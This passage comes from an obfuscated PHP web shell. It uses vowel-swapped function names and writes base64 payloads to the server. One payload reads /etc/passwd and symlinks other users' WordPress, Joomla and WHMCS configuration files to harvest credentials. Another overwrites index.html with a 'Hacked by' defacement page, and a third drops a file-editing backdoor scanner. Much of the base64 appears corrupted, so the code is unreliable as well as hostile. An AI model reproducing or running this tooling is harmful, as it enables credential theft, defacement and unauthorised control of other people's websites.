boA4IHJvdoNwYWu9IjE4Pjxmbai0IA2gICAgICAgIGNvbG9yPSJyZWQ4IGZhYaU9ImNvbWljIHNhbnMgbXM4caleZT04MSI+PGI+IA2gICAgICAgIAkJCQkJC4AgICAgICAgICAgPC90YWJsZTuKICAgICAgICAKC4c7IA2KPzuKPGNlbnRlcjuKPGZvcm0gbWV01G9kPXBvcoQ+PGZvbnQgYa9sboI9dahpdGUgcaleZT0yIGZhYaU9ImNvbWljIHNhbnMgbXM4PjE3IENyZWF0IHB2cCipbmkgZmlsZTwvZm93dDu8cDuKPGl3cHV0IHRicGU9coV4bWl0IGihbWU91WipIHZhbHVlPSJ6caUgdG8gRaV3ZXJhdGUgUEhQLml31SIgLzu8LaZvcm0+CjxmboJtIG6ldGhvZD6wboN0Pjxmbai0IGNvbG9yPXd21XRlIHNp5mU9M4BmYWNlPSJjba6pYyBzYWizIG6zIjuyL4BHZXQgdXNlcmihbWVzIGZvc4Bz5W6s1WirPC9mbai0PjxwPg2JPGl3cHV0IHRicGU9coV4bWl0IGihbWU9InVzcmU4IHZhbHVlPSJ6caUgdG8gRXh0cmFjdCB6caVybmFtZXM4IC8+PC9mboJtPg2JCgk8PoB2cA2J1WY21XNzZXQ2JF9QT6NUWydpbmknXSkpCgl7CgkJCgkJJHI9Zm9wZWu2JoB2cCipbmknLCdoJyk7CgkJJHJyPSIgZGlzYmFsZV9mdWijdGlvbnM9bm93ZSA4Ow2JCWZocml0ZSgkc4wkcnIpOw2JCSRs1WirPSI8YSB2cmVmPXB2cCipbmk+PGZvbnQgYa9sboI9dahpdGUgcaleZT0yIGZhYaU9XCJjba6pYyBzYWizIG6zXCI+PHU+boBlb4BQSFA3SUiJPC96PjwvZm93dDu8LaE+IjsKCQllYahvICRs1WirOwkKCQl9Cgk/Pg2JPD9w1HAKCWlmKGlzcaV0KCRfUE9TVFsndXNyZSddKSl7CgkJPzu8Zm9ybSBtZXR2baQ9cG9zdDuKCTx0ZXh0YXJlYSBybodzPTEwIGNvbHM9NTAgbmFtZT66caVyPjw/cGhwICAkdXNlcnM9ZmlsZSg4LaV0Yy9wYXNzdaQ4KTsKZm9yZWFj1CgkdXNlcnMgYXMgJHVzZXIpCnsKJHN0cj6l5HBsbaRlKCIeI4wkdXNlc4k7CmVj1G8gJHN0clswXSu4XGu4Owp9Cg2/PjwvdGVudGFyZWE+PGJyPjx4cjuKCTxpbnB6dCB05XBlPXN6Ym6pdCB3YW6lPXN6IHZhbHVlPSJMZXRzIFN0YXJ0I4AvPjwvZm9ybTuKCTw/cGhwIH0gPzuKCTw/cGhwCgllcnJvcl9yZXBvcnRpbmc2MCk7CgllYahvICI8Zm93dCBjbaxvcj6yZWQgcaleZT0yIGZhYaU9XCJjba6pYyBzYWizIG6zXCI+IjsKCWlmKGlzcaV0KCRfUE9TVFsncoUnXSkpCgl7Cglt1aRpc4gncoltJywwNzcoKTsKJHJyICA9ICIgToB01W93cyBhbGwgXGugRGlyZWN0boJiSWikZXggUoVuLmh0bWwgXGugQWRkVHlwZSB0ZXh0LoBsYWl3ICiw1HAgXGugQWRkSGF3ZGxlc4BzZXJaZXItcGFycaVkICiw1HAgXGugIEFkZFRicGUgdGVudC9wbGFpb4A31HRtbCBcb4BBZGRIYWikbGVyIHRudCA31HRtbCBcb4BSZXF61XJlIEivbmUgXGugUaF01XNm5SBBbnk4Ow2kZyA9IGZvcGV3KCdz5W0vLmh0YWNjZXNzJywndycpOwpmdoJpdGU2JGcsJHJyKTsKJFNibSA9IHNibWxpbms2I484LCJz5W0vcm9vdCIpOw2JCSAgICAkcnQ9IjxhIGhyZWY9coltLoJvboQ+PGZvbnQgYa9sboI9dahpdGUgcaleZT0zIGZhYaU9XCJjba6pYyBzYWizIG6zXCI+IFNibTwvZm93dDu8LaE+IjsKICAgICAgICBlYahvICJSba90IC8gZm9sZGVyIHNibWxpbmsgPGJyPjx6P4RydDwvdTu4Ow2JCQ2JCSRk1XI9bWtk1XI2JoNibScsMDcoNyk7CgkJJHIgID0gI4BPcHRpbaizIGFsbCBcb4BE1XJlYoRvcnlJbmRl5CBTdXg31HRtbCBcb4BBZGRU5XBlIHRl5HQvcGxh1WugLnB2cCBcb4BBZGRIYWikbGVyIHNlcnZlc46wYXJzZWQgLnB2cCBcb4AgQWRkVHlwZSB0ZXh0LoBsYWl3ICi2dG6sIFx3IEFkZEhhbmRsZXIgdHh0ICi2dG6sIFx3IFJlcXVpcmUgTm93ZSBcb4BTYXRpcaZiIEF35SI7C4AgICAgICAgJGYgPSBmboBlb4gncoltLyi2dGFjYaVzcycsJocnKTsKICAgC4AgICAgICAgZndy1XRlKCRmLCRyKTsKICAgICAgICAkYa93coltPSI8YSB2cmVmPXNibS8+PGZvbnQgYa9sboI9dahpdGUgcaleZT0zIGZhYaU9XCJjba6pYyBzYWizIG6zXCI+Ya93ZmlndXJhdGlvb4Bm1WxlczwvZm93dDu8LaE+IjsKICAgICAgIAllYahvICI8YnI+UoltIExqbmsgQWxsIENvbkZpZyA8YnI+PHU+PGZvbnQgYa9sboI9cmVkIHNp5mU9M4BmYWNlPVw4Ya9t1WMgcaF3cyBtc6w4P4Rjbaiz5W08LaZvbnQ+PC96P4I7C4AgICAgICAJC4AgICAgICAJCSR6coI9ZXhwbG9kZSg4XGu4LCRfUE9TVFsndXNlc4ddKTsKICAgICAgIAkkYa93ZmlndXJhdGlvbj6hcnJh5Sg4doAtYa93ZmlnLnB2cCIsIndvcmRwcmVzcy9ocC6jbaim1Wc3cGhwI4w4Ya93ZmlndXJhdGlvb4iw1HA4LCJ4bG9nLodwLWNvbmZpZyiw1HA4LCJqba9tbGEvYa93ZmlndXJhdGlvb4iw1HA4LCJaY49pbmNsdWRlcy9jbaim1Wc3cGhwI4w41WijbHVkZXMvYa93ZmlnLnB2cCIsImNvbmZfZaxvYmFsLnB2cCIsIml3Yy9jbaim1Wc3cGhwI4w4Ya93ZmlnLnB2cCIsIlNldHRpbmdzLnB2cCIsInNpdGVzLaRlZmF6bHQvcaV0dGl3ZoM3cGhwI4w4dahtLaNvbmZpZoVyYXRpbau3cGhwI4w4dahtYoMvYa93ZmlndXJhdGlvb4iw1HA4LCJzdXBwboJ0LaNvbmZpZoVyYXRpbau3cGhwI4w4dahtYy9XSE0vYa93ZmlndXJhdGlvb4iw1HA4LCJo1G0vV0hNQ6MvYa93ZmlndXJhdGlvb4iw1HA4LCJo1G0vdahtYoMvYa93ZmlndXJhdGlvb4iw1HA4LCJzdXBwboJ0LaNvbmZpZoVyYXRpbau3cGhwI4w4YaxpZWi0cy9jbaim1Wd6cmF01W93LnB2cCIsImNs1WV3dC9jbaim1Wd6cmF01W93LnB2cCIsImNs1WV3dGVzLaNvbmZpZoVyYXRpbau3cGhwI4w4YaxpZWi0ZS9jbaim1Wd6cmF01W93LnB2cCIsImNs1WV3dHN6cHBvcnQvYa93ZmlndXJhdGlvb4iw1HA4LCJ41Wxs1WinLaNvbmZpZoVyYXRpbau3cGhwI4w4YWRt1WuvYa93ZmlnLnB2cCIpOw2JCWZvcmVhYag2JHVzc4BhcyAkdXNzICkKCQl7CgkJCSR6cz60cmltKCR6coMpOw2JCQkJCQkKCQkJZm9yZWFj1CgkYa93ZmlndXJhdGlvb4BhcyAkYykKCQkJ5w2JCQkgJHJzPSIv1G9tZS84L4R6cyu4LoB6YmxpY692dG6sLyI3JGM7CgkJCSAkcj04coltLyI3JHVzL4IgL4ugI4ukYzsKCQkJIHNibWxpbms2JHJzLCRyKTsKCQkJCgkJfQ2JCQkKCQkJfQ2JCQ2JCQ2JCX0KCQ2JCgkKCT8+CjwvYaV3dGVyPg==';
$f4l5 = f2p5n("symr22t.php","w+");
$wr4t5 = fwr4t5 ($f4l5 ,b1s5eu_d5c2d5($p5rlt22lss));
fcl2s5($f4l5);
5ch2 "<4fr1m5 src='symr22t.php' w4dth=600% h54ght=7a0px fr1m5b2rd5r=0></4fr1m5> ";
}
//5nd sym r22t
//4nd5x
5ls54f ($1ct42n == 'd5f1c5') {
$f4l5 = f2p5n($d4r."4nd5x.html","w+");
$p5rlt22lss = 'PCEtLUNvZGUgQnkgSXphYXNzLS0+Cjx2dG6sPg281GVhZDuKPHRpdGxlP4N+SSdtIEleYWFzcoujPC901XRsZTuKCjxs1WirIHJlbD04cahvcnRjdXQg1WNvb4IgdHlwZT041W6hZaUv5C6pYa93I4B2cmVmPSJ2dHRwcz2vLoMtbWVk1WEtYaFj1GUtYWswLnBpbmltZyijba0vNzMa5C9jM48yYS8oNS9jMjJhNzUwMDgxOTMzNGZjMjdkZGUoMGZhMTY6ZWFhMSiqcGc4Pg28bWV0YSBwcm9wZXJ05T04bace1W6hZaU4IGNvbnRlbnQ9Imh0dHBzO48vcy6tZWRpYS6jYWN2ZS6h1zA3cGl31W6nLmNvbS8oMzZuLaMyLzJhLzc6LaMyMmEoNTAwODEiMzM0ZmMyNaRkZTcwZmExNjVlYWExLmpwZyIvPg28bWV0YSB3YW6lPSJybaJvdHM4IGNvbnRlbnQ9Iml3ZGVuLCBmbaxsboc4IC8+C4AgICA8bWV0YSB3YW6lPSJrZXloboJkcyIgYa93dGV3dD04SGFj1aVkIEJiIEleYWFzcyIvPg2gICAgPG6ldGEgbmFtZT04dGl0bGU4IGNvbnRlbnQ9IkhhYatlZCBC5SBJ5mFhcoM4LzuKICAgIDxtZXRhIGihbWU9ImF6dGhvc4IgYa93dGV3dD04SXphYXNzI4AvPg2gICAgPG6ldGEgbmFtZT04ZGVzYoJpcHRpbau4IGNvbnRlbnQ9IlR2ZSBQYWdlIHlvdSB2YXZlIGJlZWugbG9v1al3ZyBoYXMgbm90IGZvdWikL4BNYXl4ZSBpdCBoYXMgSGFj1aVkL4u3I48+CjxzdHlsZSB05XBlPSJ0ZXh0LaNzcyI+CmJvZHkg5w2gICAgYmFj1adyboV3ZC6pbWFnZT2gdXJsKGh0dHAeLy9wdXU3cagvYakxcE0vYTIwZmUoZWRhMyin1WYpOw2gICAgcGFkZGl3Zz2gMDsKICAgIGZvbnQtYa9sboIeIHd21XRlOw2gIH0KcHJlIHsKICAgIGZvbnQtYa9sboIeICNGRkY7C4AgICBk1XNwbGFiO4B4bG9j1zsKICB9CnJpZah0IHsKICAgIHRvcD2gNTAlICFpbXBvcnRhbnQ7C4AgICBsZWZ0O4A6MCUgIWltcG9ydGF3dDsKICB9CjwvcoRibGU+Cjxs1WirIGhyZWY9Jah0dHAeLy9mbai0cyinba9nbGVhcGlzLmNvbS9jcoM/ZmFt1WxiPUZyZWRv1aErTailJyAKcmVsPSdzdHlsZXN2ZWV0JyB05XBlPSd0ZXh0LaNzcyc+CjxjZWi0ZXI+Cjxk1XYg1WQ9dzuKPGltZyBzcmM9Imh0dHBzO48vYWivbnZ3LmZpbGVzLndvcmRwcmVzcyijba0vMjAxM48wMy86NTMoNDBfMTIxMDg6NTYxMzU6MzYzXzEwMDAwMzYxNzUiMzczMl8xMDEoODNfMTI6MDkwNjIzMV93LmpwZyJo1WR01D04MzAwI4B2ZWln1HQ9IjMwMCI+PGJyPg28Zm93dCBmYWNlPSJDba6pYyBTYWizIE6TI4Bz1XplPSIxNSIgYa9sboI9IkdSRUU4PgpZT6VSIFdFQlNJVEUgSEFTIEJFRUugSEFDS0VEPGJyPg28IS0tLS0tLS0tLUJhYatzboV3ZCBKYWijbastLS0tLS0tLS0+CjxpZnJhbWUgcoJjPSJ2dHRwO48vdodoLmi2YWNjdWF0dWk3Ya9tLa62LaJhYatncm96bmQvdopRdHdudTlrVlhMI4Bo1WR01D04MSIg1GVpZah0PSIxI4BmcmFtZWJvcmRlcj04MCIgYWxsbodmdWxscaNyZWV3Pjwv1WZyYW6lPg==';
$f4l5 = f2p5n("4nd5x.html","w+");
$wr4t5 = fwr4t5 ($f4l5 ,b1s5eu_d5c2d5($p5rlt22lss));
fcl2s5($f4l5);
5ch2 "<4fr1m5 src='4nd5x.html' w4dth=600% h54ght=7a0px fr1m5b2rd5r=0></4fr1m5> ";
} //5nd d5f1c5
//sc1n
5ls54f ($1ct42n == 'sc1n') {
$f4l5 = f2p5n($d4r."sc1n.php","w+");
$p5rlt22lss = 'PD9w1HAKLy2gIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjC4MgWytdIEZpbGUgTmFtZSAeIEleYWFzcyBCYWNrZG9vc4BTYaF3bmVyC4MgWytdIEF6dGhvc4AeIHBlcmk3YaFyZGl3Zw2jIFsrXSBU1GF31oMgZa9lcyB0byAeC4MgWytdIFNvYathZGRyXal3LCBz1HJlZGVyLmcxcmwsIHN0dXBpZGl0dHkKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAqLwpwdXRlbnY2IlR1PUV6cm9wZS9Ccml0YWipYSIpOw2/Pg2KCjx2ZWFkPg28dGl0bGU+SXphYXNzIEJhYatkba9yIFNjYWu8LoRpdGxlPg28caNy1XB0IGxhbmd6YWdlPSJKYXZhUaNy1XB0I4B05XBlPSJ0ZXh0L0phdmFTYoJpcHQ4Pg28IS0tCmZ6bmN01W93IE6NXa9wZWiCcldpbmRvdyh01GVVUkwsdal3TmFtZSxmZWF0dXJlcykg5yAvLoYyLjAKdal3ZG9oLm9wZWu2dGhlVVJMLHdpbkihbWUsZmVhdHVyZXMpCn0KLy8tLTuKPC9zYoJpcHQ+CjxzdHlsZSB05XBlPSJ0ZXh0LaNzcyI+CjwhLS0KYm9k5SB7CmZvbnQtZmFt1WxiO4BUYWhvbWE7CmNvbG9yO4AjQ0NDQ0NDOwp4YWNrZoJvdWikLWNvbG9yO4AjMDAwMDAwOwpmbai0LXNp5mUeIDExcHg7CmZvbnQtdaVpZah0O4B4baxkOwp9C4iz1WinbGV7CmJvcmRlcj2gMXBuIHNvbGlkICMwMGZmMDA7CnBhZGRpbmceIDVw5DsKfQphOnZpcal0ZWQg5wpjbaxvcj2gIzMzMzMzOwpmbai0LXNp5mUeIDExcHg7CmZvbnQtZmFt1WxiO4B0YWhvbWE7CnRl5HQtZGVjboJhdGlvbj2gbm93ZTsKfQ2KCmEe1G9aZXIg5wpjbaxvcj2gIaNjZmYwMDsKdGVudC6kZWNvcmF01W93O4B3bailOwp9C4ihYnV3YWkg5wpjbaxvcj2gcmVkOwp0ZXh0LWRlYa9yYXRpbaueIGivbmU7Cn0KLnhu5CB7CmNvbG9yO4B4bHVlOwp0ZXh0LWRlYa9yYXRpbaueIGivbmU7Cn0KYSB7CmNvbG9yO4AjYaNmZjkiOwpmbai0LXNp5mUeIDExcHg7CmZvbnQtZmFt1WxiO4B0YWhvbWE7CnRl5HQtZGVjboJhdGlvbj2gbm93ZTsKfQp0ZCB7CmJvcmRlc46zdHlsZT2gca9s1WQ7CmJvcmRlc46o1WR01D2gMCAwIDFw5CAwOwpmbai0LXNp5mUeMTFw5DsgZm93dC6mYW6pbHkeVGF2ba6hLFZlcmRhbmEsQXJpYWw7IGNvbG9yO4NjYaZmOTk7Cn0KLm6lIHsKZm93dC6z1XplOjExcHg7IGZvbnQtZmFt1WxiOlRh1G9tYSxWZXJkYWihLEFy1WFsOyBjbaxvcj2jYaNmZjkiOwp4boJkZXIeIDBw5DsKcGFkZGl3Zz2gNXBuOwp9C4ipcakeZGlzYWJsZWR7CnBhZGRpbmceIDJw5DsKYm9yZGVyOjFw5CBzbaxpZCAjMzMzMzMzOwpmbai0LWZhbWls5T2gVGF2ba6hOwpjbaxvcj2gIzMzMzMzMzsKYmFj1adyboV3ZC6jbaxvcj2gIzAwMDAwMDsKZm93dC6z1XplO4AxMHBuOwpmbai0LXdl1Wd2dD2gYm9sZDsKfQ231XNp5wpwYWRk1WinO4AycHg7CmJvcmRlcj2xcHggca9s1WQgIzYaNjYaNjsKZm93dC6mYW6pbHkeIFRh1G9tYTsKYa9sboIeICNjYaZmOTk7CmJhYatncm96bmQtYa9sboIeICMaNjYaNjY7CmZvbnQtcaleZT2gMTBw5DsKZm93dC6oZWln1HQeIGJvbGQ7Cn0KLS0+CjwvcoRibGU+CjxzdHlsZSB05XBlPSJ0ZXh0LaNzcyI+C4NwYXRj1CB7cG9z1XRpbaueYWJzbax6dGU7IGhl1Wd2dD2xOyBo1WR01D2xcHg7IHRvcD2wOyBsZWZ0OjA7fQ28LoN05WxlPg28LahlYWQ+Cjx4baRiPg28YaV3dGVyPjx4cju8Zm93dCBjbaxvcj04IzMzOTkwMCIgcaleZT04MTQ4IGZhYaU9ImFy1WFsIjiCYWNrZG9vc4BTYaF3bmVyPC9mbai0PjwvYaV3dGVyPjx4cjuKPD9w1HAKcaV0XoRpbWVfbGlt1XQ2MCk7CmlmKGlzcaV0KCRfUkVRVUVTVFsnZWRpdCddKSAmJ4AkX6JFUVVFU6RbJaVk1XQnXT09JaZpbGUnKXsK1WY21XNzZXQ2JF9QT6NUWydiZXMnXSkp5w2kZmlsZWihbWUgPSAkX0dFVFsnZmlsZSddOwplYahvICI8YnI+PGJyPjx4cju8Zm93dCBjbaxvcj6yZWQgcaleZT0zPjx4PjxjZWi0ZXI+I4ukZmlsZWihbWU3I4BkZWxldGVkL4u3PC94PjwvZm93dDu8YnI+PGJyPjx4cju8YnI+PGJyPjx4cju8YnI+IjsKdWis1WirKCRm1WxlbmFtZSk7CmVj1G8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVz1CBDT0iURUiUPVw4MjsgVVJMPWphdmFzYoJpcHQedal3ZG9oLmNsboNlKCk7XCI+IjsKfWVscaV7CmlmKCRfUE9TVFsndXBkYXRlJ60pIHsKJGZpbGV3YW6lID0gJF9QT6NUWydm1WxlJ607CmlmKGlzXody1XRhYmxlKCRm1WxlbmFtZSkpIHsKJGhhbmRsZSA9IGZvcGV3KCRm1WxlbmFtZSwgIncrI4k7C4Rpcak9JF9QT6NUWydjbai0ZWi0J607CmZocml0ZSgk1GF3ZGxlLCBzdHJpcHNsYXN2ZXM2JGlz1SkpOwpmYaxvcaU2JGhhbmRsZSk7C4RzdGF0PSA4PGNlbnRlcju8coRybainPmVk1XRlZCBzdWNjZXNzZnVsbHk8YnI+IjsKfSBlbHNlIHsKJHN0YXQ9ICI8YaV3dGVyPjxmbai0IGNvbG9yPXJlZDu8coRybainPkVycm9yISBG1WxlIG6h5SB3boQgYmUgdoJpdGF4bGU3PC9mbai0PjwvYaV3dGVyP4I7Cn0KfQppZ4gkX6BPU6RbJaNsboNlJ60pIHsKZWN2byA4PE6FVEEgSFRUUC6FUVVJVj6SZWZyZXN2IENPTlRFTlQ9XCIwOyBVUkw91mFaYXNjcmlwdDpo1Wikboc3YaxvcaU2KTtcIju4Owp9C4Rm1WxlbmFtZSA9ICRfR0VUWydm1WxlJ607CmlmIChm1WxlXaVu1XN0cygkZmlsZWihbWUpKXsKJHZ6bGugPSAkX0dFVFsnYnVnJ607C4R2YWikbGUgPSBmboBlb4gkZmlsZWihbWUsICJyI4k7C4Rjbai0ZWi0cyA9IGZyZWFkKCR2YWikbGUsIGZpbGVz1XplKCRm1WxlbmFtZSkpOw2/Pg28YaV3dGVyPg28dGF4bGU+Cjx0cju8dGQgYWxpZau9ImxlZnQ4IGNsYXNzPSJtZSI+PHN0cm93Zzu8Pz0kZmlsZWihbWU/P4AgPjugQa93dGFpbnMgO4A8Pz0kdnVsbj8+PC9zdHJvbmc+PC90ZDu8LoRyPg28dHI+PHRkIGNsYXNzPSJtZSI+CjxmboJtIG6ldGhvZD04cG9zdCIgYWN01W93PSI4Pg281WiwdXQgdHlwZT041GlkZGV3I4B3YW6lPSJm1WxlI4BaYWx6ZT04PD89JGZpbGV3YW6lPzu4Pg28dGVudGFyZWEgbmFtZT04Ya93dGV3dCIgYa9scz04ODA4IHJvdoM9IjE6Iju8Pz62dG6scoBlYalhbGN2YXJzKCRjbai0ZWi0cyk/PjwvdGVudGFyZWE+PGJyPg28LoRkPjwvdHI+Cjx0cju8dGQgYWxpZau9ImNlbnRlc4IgYaxhcoM9Im6lIjuKPD9w1HAK1WY2JF9QT6NUWydkZWxldGUnXSkg5wplYahvICJBcmUg5W96IHN6cmUgdG8gZGVsZXRlICI3JGZpbGV3YW6lL4IgPyI7Cj8+Cjx0cju8dGQgYWxpZau9ImNlbnRlc4IgYaxhcoM9Im6lIjuKPGl3cHV0IHRicGU9InN6Ym6pdCIgbmFtZT045WVzI4BaYWx6ZT04IFkgRSBTICI+CjxpbnB6dCB05XBlPSJzdWJt1XQ4IGihbWU9ImivI4BaYWx6ZT04IEugTyA4Pg28LoRkPjwvdHI+Cjw/cGhwCn6lbHNl5wplYahvICRzdGF0Ow2/Pg28LoRkPjwvdHI+Cjx0cju8dGQgYWxpZau9InJpZah0I4BjbGFzcz04bWU4Pg281WiwdXQgdHlwZT04coV4bWl0I4B3YW6lPSJjbG9zZSIgdmFsdWU9I4BDIGwgbyBzIGUgIjuKPGl3cHV0IHRicGU9InN6Ym6pdCIgbmFtZT04ZGVsZXRlI4BaYWx6ZT04IEQgZSBsIGUgdCBlICI+CjxpbnB6dCB05XBlPSJzdWJt1XQ4IGihbWU9InVwZGF0ZSIgdmFsdWU9I4BTIGEgd4BlICI+CjwvdGQ+PC90cjuKPD9w1HAKfQpmYaxvcaU2JGhhbmRsZSk7Cj8+CjwvdGF4bGU+CjwvZm9ybTuKPD9w1HAKfWVscaV7CmVj1G8gIjx4cju8YnI+PGJyPjxmbai0IGNvbG9yPXJlZCBz1XplPTM+PGI+PGNlbnRlcju4L4Rm1WxlbmFtZSu4IGivdCBl5GlzdCu3LjwvYju8LaZvbnQ+PGJyPjx4cju8YnI+PGJyPjx4cju8YnI+PGJyP4I7CmVj1G8gIjxNRVRBIEhUVFAtRVFVSVY9UmVmcmVz1CBDT0iURUiUPVw4NDsgVVJMPWphdmFzYoJpcHQedal3ZG9oLmNsboNlKCk7XCI+IjsKfQ2/Pg28LaNlbnRlcjuKPD9w1HAKfQp9ZWxzZWlmKGlzcaV0KCRfUE9TVFsnUoV4bWl0J60pKXsKJGNl1oMgPSBhcnJh5SgnYmFzZTY0XaRlYa9kZScsJoNicoRlbScsJoBhcoN01HJ6JywncG9wZWunLCdl5GVjJywncahlbGxfZXhlYycsJaVaYWwnLCdtboZlXoVwbG9hZGVkXaZpbGUnKTsKZm9yZWFj1CgkYaVrcyBhcyAkYaVrZXIp5wppZ4gkX6BPU6RbJGNl1aVyXTw+I4Ip5w2kcaluLj0kX6BPU6RbJGNl1aVyXSu4L4I7Cn0KfQ2kYaVrID0gZXhwbG9kZSgnL4csICRz1XgpOwpmdWijdGlvb4BM1XN0RmlsZXM2JGRpc4kg5wppZ4gkZGggPSBvcGV3ZGlyKCRk1XIpKSB7C4Rm1WxlcyA9IEFycmFiKCk7C4Rpbmilcl9m1WxlcyA9IEFycmFiKCk7Cnd21WxlKCRm1WxlID0gcmVhZGRpc4gkZGgpKSB7CmlmKCRm1WxlICE9ICI3I4AmJ4AkZmlsZSAhPSA4L4u4ICYmICRm1WxlWzBdICE9ICc3Jykg5wppZ4hpc69k1XI2JGRpc4A3ICIvI4A3ICRm1WxlKSkg5w2k1Wi3ZXJfZmlsZXMgPSBM1XN0RmlsZXM2JGRpc4A3ICIvI4A3ICRm1WxlKTsK1WY21XNfYXJyYXk2JGl3bmVyXaZpbGVzKSkgJGZpbGVzID0gYXJyYXlfbWVyZaU2JGZpbGVzLCAk1Wi3ZXJfZmlsZXMpOwp9ZWxzZXsKYXJyYXlfcHVz1CgkZmlsZXMsICRk1XIgL4A4LyIgL4AkZmlsZSk7Cn0KfQp9CmNsboNlZGlyKCRk1Ck7CnJldHVyb4AkZmlsZXM7Cn0KfQ2kdGFyZaV0PSRfU0VSVkVSWydET0NVTUVOVF9ST09UJ607Cj8+CjxjZWi0ZXI+Cjx0YWJsZSB4boJkZXI9IjA4IHdpZHR2PSIiMCU4IGNlbGxwYWRk1WinPSI6IjuKPHRyPg28dGQgYaxhcoM9Im6lI4BhbGlnbj04cmln1HQ4IHdpZHR2PSIzMCI+PGI+Tm88LaI+PC90ZDuKPHRkIGNsYXNzPSJtZSIgYWxpZau9ImNlbnRlc4IgdalkdGg9IjEwNSI+PGI+IFQg5SBwIGUgPC94PjwvdGQ+Cjx0ZCBjbGFzcz04bWU4IGFs1Wd3PSJjZWi0ZXI4Pjx4P4BGIGkgbCBlICBMIG8gYyBhIHQg1SBvIGugPC94PjwvdGQ+Cjx0ZCBjbGFzcz04bWU4IGFs1Wd3PSJjZWi0ZXI4IHdpZHR2PSIxNTA4Pjx4P4BMIGEgcyB0ICBFIGQg1SB0IDwvYju8LoRkPg28dGQgYaxhcoM9Im6lI4BhbGlnbj04cmln1HQ4IHdpZHR2PSIuMCI+PGI+R4BpIGwgZSAgUyBpIH2gZTwvYju8LoRkPg28LoRyPjx4cjuKPD9w1HAKZm9yZWFj1CA2TGlzdEZpbGVzKCR0YXJnZXQpIGFzICRrZXk9P4Rm1WxlKXsKJGiG1WxlID0gcoV4coRyKCRm1WxlLCAtNCwgNCk7CmlmKCR3RmlsZSA9PSA4LnB2cCIp5wppZ4gkZmlsZT09JF9TRVJWRVJbJ0RPQ6VNRUiUX6JPT6QnXSukX6NFUlZFUlsnUEhQX6NFTEYnXSl7Cn6lbHNl5w2kboBzID0gQGZpbGVfZaV0XaNvbnRlbnRzKCRm1WxlKTsKJG9wPXN0cnRvbG9oZXI2JG9wcyk7C4RhcnIgPSBhcnJh5SgnYzkiXaJ6ZmZfcHJlcGFyZScgPTugJaMgOSAiJywKJaF4YoI6NycgPTugJoIgNSAoJyk7C4Rz1XM9MDsK1WY2JG9wKQ2kcaleZT6m1WxlcaleZSgkZmlsZSk7C4RsYXN0Xa6vZGlm1WVkID0gZmlsZW601W6lKCRm1WxlKTsKJGxhcoQ9ZGF0ZSg4TS6kLVkgSDppI4wgJGxhcoRfbW9k1WZpZWQpOwpmboJlYWN2KCRhcnIgYXMgJGtl5SA9P4AkdmFsKSB7CmlmKEBwcmVnXa6hdGN2KCIvJGtl5S84LCAkboApKSB7C4Rz1XM9MTsKJGkrKzsKPzuKPHRyIHN05WxlID04YmFj1adyboV3ZC6jbaxvcj2gWW96c4B4YWNrZoJvdWikIENvbG9yOyIgbaitboVzZW9aZXI9Im6vdmVyKHR21XMpI4Bvbm6vdXNlboV0PSJtboV0KHR21XMpIjuKPHRkIGFs1Wd3PSJy1Wd2dCI+PGZvbnQgYa9sboI9InJlZCI+PGJs1WirPjw/PSRpPzu8LaJs1WirPjwvZm93dDu8LoRkPg28dGQgYWxpZau9ImNlbnRlc4I+PGZvbnQgYa9sboI9InJlZCI+PGJs1WirPjw/PSRaYWw/PjwvYmxpbms+PC9mbai0PjwvdGQ+Cjx0ZCBhbGlnbj04bGVmdCI+PGJs1WirPg28YSB2cmVmPSIjI4BjbGFzcz04YWJ6bmFpI4BvbmNs1WNrPSJNTV9vcGV3QnJX1Wikboc2Jz9lZGl0PWZpbGUmZmlsZT08Pz0kZmlsZT8+JmJ6Zz08Pz0kdmFsPzunLCdG1WxlIHZpZXcnLCdzdGF0dXM95WVzLHNjcm9sbGJhcnM95WVzLHdpZHR2PTcwMCx2ZWln1HQ9NjAwJyk4IHJlbD04bm9mbaxsboc4Pjw/PSRm1WxlPzu8LaE+CjwvYmxpbms+PC90ZDuKPHRkIGFs1Wd3PSJjZWi0ZXI4Pjxmbai0IGNvbG9yPSJyZWQ4Pjx4bGl31zu8Pz0kbGFzdD8+IEdNVCsiPC94bGl31zu8LaZvbnQ+PC90ZDuKPHRkIGFs1Wd3PSJy1Wd2dCI+PGZvbnQgYa9sboI9InJlZCI+PGJs1WirPjw/PSRz1XplPzugYnl0ZTwvYmxpbms+PC9mbai0PjwvdGQ+CjxzYoJpcHQgbGF3ZoVhZaU9ImphdmFzYoJpcHQ4PgpaYXIgYmdjbaxvc4A9ICJ0cmF3coBhcmV3dCI7CnZhc4Bj1GF3ZaVfYa9sboIgPSA4IzQ0NDQ0NCIKZnV3YoRpbaugbW9aZXI2YWEpIHsKYWE3coRibGU3YmFj1adyboV3ZENvbG9yID0gYahhbmdlXaNvbG9yOwp9CmZ6bmN01W93IG6vdXQ2YWEpIHsKYWE3coRibGU3YmFj1adyboV3ZENvbG9yID0gYmdjbaxvcjsKfQ28LoNjcmlwdDuKPC90cjuKPD9w1HAKfQp9CmlmKCRz1XM8P4IxI4l7CmlmKChAcHJlZ69tYXRj1Cg4LoNicoRlbVw2KCuqPylcKS84LCAkboApKSYmKEBwcmVnXa6hdGN2KCIvPHByZTuvI4wgJG9wKSkmJ4hAcHJlZ69tYXRj1Cg4LaVtcHRiXCg2L42/KVwpLyIsICRvcCkpKSB7C4Rz1XM9IjI4Ow2k1SsrOw2kdmFsPSJ21WRkZWugcahlbGw4Ow2/Pg28dHIgcoRibGUgPSJ4YWNrZoJvdWikLWNvbG9yO4BZboVyIGJhYatncm96bmQgQa9sboI7I4Bvbm6vdXNlboZlcj04bW9aZXI2dGhpcyk4IG93bW96caVvdXQ9Im6vdXQ2dGhpcyk4Pg28dGQgYWxpZau9InJpZah0Iju8Zm93dCBjbaxvcj04Ymx6ZSI+PD89JGk/PjwvZm93dDu8LoRkPg28dGQgYWxpZau9ImNlbnRlc4I+PGZvbnQgYa9sboI9ImJsdWU4Pjw/PSRaYWw/PjwvZm93dDu8LoRkPg28dGQgYWxpZau9ImxlZnQ4Pg28YSB2cmVmPSIjI4BjbGFzcz045HhuI4BvbmNs1WNrPSJNTV9vcGV3QnJX1Wikboc2Jz9lZGl0PWZpbGUm